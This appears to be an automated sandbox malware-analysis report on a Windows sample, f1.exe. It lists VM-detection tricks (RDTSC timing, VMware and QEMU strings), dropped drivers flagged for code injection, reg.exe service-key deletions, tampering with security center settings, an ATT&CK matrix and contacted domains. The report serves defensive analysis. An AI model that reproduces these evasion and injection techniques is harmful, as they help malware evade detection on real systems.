Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\f1.exe	RDTSC instruction interceptor: First address: 1495BF8 second address: 204BA77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2801B813CDh 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f1.exe	RDTSC instruction interceptor: First address: 1332A29 second address: 1332A2B instructions: 0x00000000 rdtsc 0x00000002 rdtsc
Source: C:\Users\user\Desktop\f1.exe	RDTSC instruction interceptor: First address: F6AC00 second address: F6AC00 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, eax 0x00000004 mov eax, 4325C53Fh 0x00000009 mul ecx 0x0000000b shr edx, 04h 0x0000000e imul edx, edx, 3Dh 0x00000011 sub ecx, edx 0x00000013 mov cl, byte ptr [esp+ecx+70h] 0x00000017 mov byte ptr [esp+esi+0Ch], cl 0x0000001b inc esi 0x0000001c cmp esi, 05h 0x0000001f jl 00007F2800FCB531h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\f1.exe	RDTSC instruction interceptor: First address: 6D052663 second address: 6D052663 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, eax 0x00000004 mov eax, 4325C53Fh 0x00000009 mul ecx 0x0000000b shr edx, 04h 0x0000000e imul edx, edx, 3Dh 0x00000011 sub ecx, edx 0x00000013 mov cl, byte ptr [esp+ecx+6Ch] 0x00000017 mov byte ptr [esp+esi+08h], cl 0x0000001b inc esi 0x0000001c cmp esi, 05h 0x0000001f jl 00007F2800FCB2E1h 0x00000021 rdtsc

Source: C:\Windows\System32\svchost.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\f1.exe	Window / User API: threadDelayed 522			Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Window / User API: threadDelayed 8682			Jump to behavior

Source: C:\Users\user\Desktop\f1.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\2649hsXWi.sys	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	Dropped PE file which has not been started: C:\Windows\F705A27.sys	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\6E8EJNeaX.sys	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MultiSys\A32272954.dll	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MultiSys\75F55GpM.dll	Jump to dropped file
Source: C:\Users\user\Desktop\f1.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\CB8C7NLdg.sys	Jump to dropped file

Source: C:\Users\user\Desktop\f1.exe TID: 7236	Thread sleep time: -522000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe TID: 7520	Thread sleep time: -313000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\f1.exe TID: 7412	Thread sleep time: -8682000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior

Source: svchost.exe, 00000002.00000002.3740250063.000001E13D62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000002.00000002.3740250063.000001E13D62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: svchost.exe, 00000002.00000002.3742866092.000001E13D680000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000002.00000002.3740850834.000001E13D64C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: b2f05e9306}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D: @
Source: f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: =/Qemu)
Source: f1.exe, 00000006.00000002.3740200617.0000000000C12000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3740200617.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000002.00000002.3739845404.000001E13D602000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: svchost.exe, 00000002.00000002.3745923719.000001E13D702000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000002.00000002.3740250063.000001E13D62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000002.00000002.3740850834.000001E13D64C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000002.00000002.3742866092.000001E13D665000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000es
Source: svchost.exe, 0000000A.00000002.3742942819.00000247BDC2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: f1.exe	Binary or memory string: QeMU4+

Source: C:\Users\user\Desktop\f1.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found driver which could be used to inject code into processes

Source: 2649hsXWi.sys.6.dr	Static PE information: Found potential injection code
Source: F705A27.sys.6.dr	Static PE information: Found potential injection code
Source: CB8C7NLdg.sys.6.dr	Static PE information: Found potential injection code
Source: 6E8EJNeaX.sys.6.dr	Static PE information: Found potential injection code

Source: C:\Users\user\Desktop\f1.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\2649hsXWi /f			Jump to behavior
Source: C:\Users\user\Desktop\f1.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\CB8C7NLdg /f			Jump to behavior

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} STATE

Jump to behavior

Source: svchost.exe, 00000008.00000002.3753409753.00000175ED702000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000008.00000002.3753409753.00000175ED702000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	3 Windows Service	3 Windows Service	21 Masquerading	1 Credential API Hooking	241 Security Software Discovery	Remote Services	1 Credential API Hooking	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	111 Process Injection	1 Disable or Modify Tools	LSASS Memory	13 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Modify Registry	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	13 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	13 Virtualization/Sandbox Evasion	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	122 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
f1.exe	45%	ReversingLabs
f1.exe	49%	Virustotal	Browse
f1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\6E8EJNeaX.sys	100%	Avira	HEUR/AGEN.1360134
C:\Windows\SysWOW64\CB8C7NLdg.sys	100%	Avira	HEUR/AGEN.1360134
C:\Windows\SysWOW64\2649hsXWi.sys	100%	Avira	HEUR/AGEN.1360134
C:\Windows\F705A27.sys	100%	Avira	HEUR/AGEN.1360134
C:\Windows\SysWOW64\6E8EJNeaX.sys	100%	Joe Sandbox ML
C:\Windows\SysWOW64\CB8C7NLdg.sys	100%	Joe Sandbox ML
C:\Users\user\Desktop\MultiSys\75F55GpM.dll	100%	Joe Sandbox ML
C:\Users\user\Desktop\MultiSys\A32272954.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\2649hsXWi.sys	100%	Joe Sandbox ML
C:\Windows\F705A27.sys	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
www.jmw.com.cn	0%	Virustotal	Browse
so.seos-lb.com	1%	Virustotal	Browse
multi-az-www-api.kuaishou.com	0%	Virustotal	Browse
qt0t6l4k.e0.sched.ovscdns.com	0%	Virustotal	Browse
youdao.com	1%	Virustotal	Browse
www.wshifen.com	0%	Virustotal	Browse
www.sogou.com	1%	Virustotal	Browse
bxjbqj09.e0.sched.ovscdns.com	0%	Virustotal	Browse
ww1.sinaimg.cn.w.alikunlun.com	0%	Virustotal	Browse
www.tencent.com.acc.edgeonedy1.com	0%	Virustotal	Browse
opencdnka.jomodns.com	0%	Virustotal	Browse
www.1688.com.danuoyi.tbcache.com	0%	Virustotal	Browse
opencdnqczjv6.jomodns.com	0%	Virustotal	Browse
hao123.n.shifen.com	0%	Virustotal	Browse
dc3ee476.ovslegodl-dk.sched.ovscdns.com	0%	Virustotal	Browse
foodmate.net	0%	Virustotal	Browse
www.qq.com.eo.dnse2.com	0%	Virustotal	Browse
www.tencent.com	1%	Virustotal	Browse
jd-abroad.cdn20.com	0%	Virustotal	Browse
www.zhihu.com	0%	Virustotal	Browse
time.windows.com	0%	Virustotal	Browse
www.jb51.net	0%	Virustotal	Browse
www.qq.com	1%	Virustotal	Browse
www.douyin.com	0%	Virustotal	Browse
www.so.com	0%	Virustotal	Browse
www.1688.com	0%	Virustotal	Browse
www.cctv.com	0%	Virustotal	Browse
www.baidu.com	1%	Virustotal	Browse
soso.com	0%	Virustotal	Browse
guangzhoucs.oss-accelerate.aliyuncs.com	0%	Virustotal	Browse
www.kuaishou.com	0%	Virustotal	Browse
www.autohome.com.cn	0%	Virustotal	Browse
sinacloud.net	5%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.mockplus.cn/	0%	Avira URL Cloud	safe
http://www.duote.com/	0%	Avira URL Cloud	safe
http://www.juming.com/	0%	Avira URL Cloud	safe
http://time-time-dbvpvdlnog.cn-chengdu.fcapp.run	0%	Avira URL Cloud	safe
https://www.90yundian.com/liebiao/BB428837B05300DF	0%	Avira URL Cloud	safe
http://www.yunzhijia.com/	0%	Avira URL Cloud	safe
http://sinacloud.net/operate/x-agA#	0%	Avira URL Cloud	safe
http://iwencai.com/	0%	Avira URL Cloud	safe
http://standards.iso.org/iso/19770/-2/2009/schema.xsd	0%	Avira URL Cloud	safe
http://588ku.com/	0%	Avira URL Cloud	safe
http://wulancabucs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://qingdaocs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.kuaishou.com/	0%	Avira URL Cloud	safe
http://www.jianguoyun.com/	0%	Avira URL Cloud	safe
http://www.winshang.com/	0%	Avira URL Cloud	safe
http://www.sina.com.cn/	0%	Avira URL Cloud	safe
http://yanzheng.appchizi.com/	0%	Avira URL Cloud	safe
http://www.qiniu.com/	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	0%	Avira URL Cloud	safe
http://www.ems.com.cn/	0%	Avira URL Cloud	safe
http://www.pcauto.com.cn/	0%	Avira URL Cloud	safe
http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=OS7Jf4g770fs7TMRuzjeWEr4_JnfmoeB&authKey=4FeBZonqCUL5S2PNX	0%	Avira URL Cloud	safe
http://1066951243755853.cn-huhehaote.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/	0%	Avira URL Cloud	safe
http://w7000.com/	0%	Avira URL Cloud	safe
http://www.douyin.com/	0%	Avira URL Cloud	safe
http://xianggangcs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://soso.com/	0%	Avira URL Cloud	safe
http://www.jb51.net/	0%	Avira URL Cloud	safe
http://foodmate.net/	0%	Avira URL Cloud	safe
http://www.kanzhun.com/	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Locations	0%	Avira URL Cloud	safe
http://www.ichuanglan.com/	0%	Avira URL Cloud	safe
http://www.netease.com/	0%	Avira URL Cloud	safe
http://www.ih5.cn/	0%	Avira URL Cloud	safe
http://www.hichina.com/	0%	Avira URL Cloud	safe
http://huadongcs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Routes/Transit	0%	Avira URL Cloud	safe
http://www.sohu.com/	0%	Avira URL Cloud	safe
http://www.1688.com/	0%	Avira URL Cloud	safe
https://dynamic.t	0%	Avira URL Cloud	safe
http://www.youth.cn/	0%	Avira URL Cloud	safe
http://www.solidot.org/	0%	Avira URL Cloud	safe
http://www.huawei.com/	0%	Avira URL Cloud	safe
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	0%	Avira URL Cloud	safe
http://www.yidianzixun.com/	0%	Avira URL Cloud	safe
http://119.29.29.29/d?dn=	0%	Avira URL Cloud	safe
http://www.xunlei.com/	0%	Avira URL Cloud	safe
http://sinacloud.net/operate/engt	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/REST/v1/Routes/Driving	0%	Avira URL Cloud	safe
http://ca800.com/	0%	Avira URL Cloud	safe
http://shanghaics.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.imiker.com/	0%	Avira URL Cloud	safe
http://www.bootcss.com/	0%	Avira URL Cloud	safe
http://www.jmw.com.cn/	0%	Avira URL Cloud	safe
http://www.xitongzhijia.net/	0%	Avira URL Cloud	safe
http://www.ctrip.com/	0%	Avira URL Cloud	safe
http://xinics.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://www.7k7k.com/	0%	Avira URL Cloud	safe
http://www.jdwx.info/	0%	Avira URL Cloud	safe
http://www.yiche.com/	0%	Avira URL Cloud	safe
http://www.i4.cn/	0%	Avira URL Cloud	safe
http://aq.cqyanzheng.com/	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	0%	Avira URL Cloud	safe
http://lusongsong.com/	0%	Avira URL Cloud	safe
http://www.ipo.hk/	0%	Avira URL Cloud	safe
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	0%	Avira URL Cloud	safe
http://xiaoman.cn/	0%	Avira URL Cloud	safe
http://zhangjiakoucs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://dcloud.net.cn/	0%	Avira URL Cloud	safe
http://8.218.87.7/	0%	Avira URL Cloud	safe
http://time-time-bzyrqxranf.cn-shenzhen.fcapp.run	0%	Avira URL Cloud	safe
http://www.chuangkit.com/	0%	Avira URL Cloud	safe
http://sinacloud.net/operate/	0%	Avira URL Cloud	safe
https://wwzm.lanzouf.com/b012mj4sh	0%	Avira URL Cloud	safe
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	0%	Avira URL Cloud	safe
http://www.west.cn/	0%	Avira URL Cloud	safe
https://dev.ditu.live.com/REST/v1/Transit/Stops/	0%	Avira URL Cloud	safe
http://www.iqiyi.com/	0%	Avira URL Cloud	safe
http://tower.im/	0%	Avira URL Cloud	safe
http://www.ip138.com/	0%	Avira URL Cloud	safe
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	0%	Avira URL Cloud	safe
http://www.miguvideo.com/	0%	Avira URL Cloud	safe
http://sinacloud.net/operate/24624	0%	Avira URL Cloud	safe
http://www.9game.cn/	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	0%	Avira URL Cloud	safe
http://www.hudong.com/	0%	Avira URL Cloud	safe
http://huanancs.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://182.254.116.116/d?dn=	0%	Avira URL Cloud	safe
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	0%	Avira URL Cloud	safe
http://115.com/	0%	Avira URL Cloud	safe
http://www.autohome.com.cn/	0%	Avira URL Cloud	safe
http://sinacloud.net/operate/43260	0%	Avira URL Cloud	safe
http://www.so.com/	0%	Avira URL Cloud	safe
http://www.kafan.cn/	0%	Avira URL Cloud	safe
http://121.40.137.186/	0%	Avira URL Cloud	safe
http://www.huxiu.com/	0%	Avira URL Cloud	safe
http://www.it1352.com/	0%	Avira URL Cloud	safe
https://dev.ditu.live.com/REST/v1/Routes/	0%	Avira URL Cloud	safe
http://www.jisilu.cn/	0%	Avira URL Cloud	safe
http://www.guancha.cn/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.douyin.com.queniuyk.com	163.181.201.232	true	false		unknown
www.jmw.com.cn	47.94.225.221	true	false	0%, Virustotal, Browse	unknown
so.seos-lb.com	104.192.110.226	true	false	1%, Virustotal, Browse	unknown
multi-az-www-api.kuaishou.com	103.102.202.125	true	false	0%, Virustotal, Browse	unknown
eu-central-1-ds-2088.oss-acc.aliyuncs.com	47.254.187.186	true	false		unknown
g8450a5.usallient81.jiasula.vip	45.194.34.250	true	false		unknown
qt0t6l4k.e0.sched.ovscdns.com	43.159.70.125	true	false	0%, Virustotal, Browse	unknown
youdao.com	111.124.200.101	true	false	1%, Virustotal, Browse	unknown
www.wshifen.com	103.235.47.188	true	false	0%, Virustotal, Browse	unknown
www.cctv.com.wsglb0.com	138.113.115.36	true	false		unknown
www.sogou.com	119.28.109.132	true	false	1%, Virustotal, Browse	unknown
sh2.general.proxy.sogou.com	49.51.130.237	true	false		unknown
ww1.sinaimg.cn.w.alikunlun.com	163.181.42.239	true	false	0%, Virustotal, Browse	unknown
opencdnka.jomodns.com	113.219.142.35	true	false	0%, Virustotal, Browse	unknown
bxjbqj09.e0.sched.ovscdns.com	43.152.29.38	true	false	0%, Virustotal, Browse	unknown
www.1688.com.danuoyi.tbcache.com	163.181.199.200	true	false	0%, Virustotal, Browse	unknown
www.tencent.com.acc.edgeonedy1.com	43.159.119.252	true	false	0%, Virustotal, Browse	unknown
sinacloud.net	27.221.16.149	true	false	5%, Virustotal, Browse	unknown
foodmate.net	120.26.110.170	true	false	0%, Virustotal, Browse	unknown
www.eastmoney.com.w.cdngslb.com	163.181.131.216	true	false		unknown
ap-southeast-1-ds-2088.oss-acc.aliyuncs.com	161.117.242.92	true	false		unknown
www.qq.com.eo.dnse2.com	43.132.73.61	true	false	0%, Virustotal, Browse	unknown
hao123.n.shifen.com	103.235.46.98	true	false	0%, Virustotal, Browse	unknown
opencdnqczjv6.jomodns.com	61.163.51.35	true	false	0%, Virustotal, Browse	unknown
dc3ee476.ovslegodl-dk.sched.ovscdns.com	101.33.26.139	true	false	0%, Virustotal, Browse	unknown
jd-abroad.cdn20.com	163.171.132.119	true	false	0%, Virustotal, Browse	unknown
www.tencent.com	unknown	unknown	false	1%, Virustotal, Browse	unknown
www.zhihu.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.qq.com	unknown	unknown	false	1%, Virustotal, Browse	unknown
time.windows.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.douyin.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.so.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.baidu.com	unknown	unknown	false	1%, Virustotal, Browse	unknown
www.jb51.net	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.1688.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.cctv.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
guangzhoucs.oss-accelerate.aliyuncs.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
soso.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.kuaishou.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.autohome.com.cn	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.cdstm.cn	unknown	unknown	false		unknown
www.jd.com	unknown	unknown	false		unknown
www.eastmoney.com	unknown	unknown	false		unknown
www.iqiyi.com	unknown	unknown	false		unknown
www.hupu.com	unknown	unknown	false		unknown
www.sina.com.cn	unknown	unknown	false		unknown
www.hao123.com	unknown	unknown	false		unknown
www.sohu.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.sina.com.cn/	false	Avira URL Cloud: safe	unknown
http://www.kuaishou.com/	false	Avira URL Cloud: safe	unknown
http://www.douyin.com/	false	Avira URL Cloud: safe	unknown
http://soso.com/	false	Avira URL Cloud: safe	unknown
http://foodmate.net/	false	Avira URL Cloud: safe	unknown
http://www.jb51.net/	false	Avira URL Cloud: safe	unknown
http://www.sohu.com/	false	Avira URL Cloud: safe	unknown
http://www.1688.com/	false	Avira URL Cloud: safe	unknown
http://www.jmw.com.cn/	false	Avira URL Cloud: safe	unknown
http://sinacloud.net/operate/24624	true	Avira URL Cloud: safe	unknown
http://www.autohome.com.cn/	false	Avira URL Cloud: safe	unknown
http://sinacloud.net/operate/43260	true	Avira URL Cloud: safe	unknown
http://www.so.com/	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.mockplus.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.duote.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
